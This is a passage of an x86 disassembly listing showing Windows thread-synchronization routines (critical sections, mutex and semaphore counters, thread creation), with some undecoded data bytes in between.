ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_510980 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_5103C0 mov [esi+1Ch], ecx mov eax, dword_5103C0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103BC mov dword_5103C0, esi test eax, eax jnz short loc_430AB7 mov dword_5103BC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_510980 nop call near ptr 7C9010EDh loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_510980 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103BC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103BC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103C0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103C0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_510980 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510900 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510900 call near ptr 7C9010EDh nop loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 call near ptr 77C1F2BCh nop mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 2780000h loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx call near ptr 77C2C21Bh nop mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108C0 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax nop call near ptr 27706C8h cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108C0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax call near ptr 27705EAh nop test eax, eax jnz short loc_431517 call edi ; _errno mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 232F9CFh, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0D4E89050h dd 500236EBh, 9050D3FFh, 33EA43E8h, 5BC08502h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 33F0EFE8h dd 28468902h, 3B4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103C4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103C4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 2760C28h test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov esi, dword_447700 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108C0 mov dword_447700, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108C0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108C0 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447700 push offset dword_5108C0 mov [edx+8], eax mov dword_447700, edx nop call near ptr 7C9010EDh pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 2760A57h mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax nop call near ptr 2780570h test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short 